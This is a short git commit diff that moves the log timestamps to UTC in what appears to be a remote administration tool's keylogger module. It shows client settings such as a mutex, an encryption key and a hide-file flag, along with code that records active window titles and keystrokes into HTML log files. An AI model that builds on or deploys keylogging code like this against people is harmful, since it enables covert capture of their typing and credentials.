Use UTC timestamps in log files

This commit is contained in:
MaxXor 2020-06-01 22:22:33 +02:00
parent f3f49cd75a
commit b0c54af1a0
2 changed files with 6 additions and 5 deletions

View File

@ -26,7 +26,7 @@ public static class Settings
public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!";
public static string STARTUPKEY = "Test key";
public static bool HIDEFILE = false;
public static bool ENABLELOGGER = true;
public static bool ENABLELOGGER = false;
public static string ENCRYPTIONKEY = "CFCD0759E20F29C399C9D4210BE614E4E020BEE8";
public static string TAG = "DEBUG";
public static string LOGDIRECTORYNAME = "Logs";

View File

@ -7,6 +7,7 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Globalization;
using System.IO;
using System.Text;
using System.Web;
@ -153,8 +154,8 @@ private void OnKeyDown(object sender, KeyEventArgs e)
_lastWindowTitle = activeWindowTitle;
_logFileBuffer.Append(@"<p class=""h""><br><br>[<b>"
+ HttpUtility.HtmlEncode(activeWindowTitle) + " - "
+ DateTime.Now.ToString("HH:mm")
+ "</b>]</p><br>");
+ DateTime.UtcNow.ToString("t", DateTimeFormatInfo.InvariantInfo)
+ " UTC</b>]</p><br>");
}
if (_pressedKeys.ContainsModifierKeys())
@ -315,7 +316,7 @@ private void WriteFile()
// TODO: Add some house-keeping and delete old log entries
bool writeHeader = false;
string filePath = Path.Combine(Settings.LOGSPATH, DateTime.Now.ToString("MM-dd-yyyy"));
string filePath = Path.Combine(Settings.LOGSPATH, DateTime.UtcNow.ToString("yyyy-MM-dd"));
try
{
@ -353,7 +354,7 @@ private void WriteFile()
{
logFile.Append(
"<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on " +
DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "<br><br>");
DateTime.UtcNow.ToString("f", DateTimeFormatInfo.InvariantInfo) + " UTC<br><br>");
logFile.Append("<style>.h { color: 0000ff; display: inline; }</style>");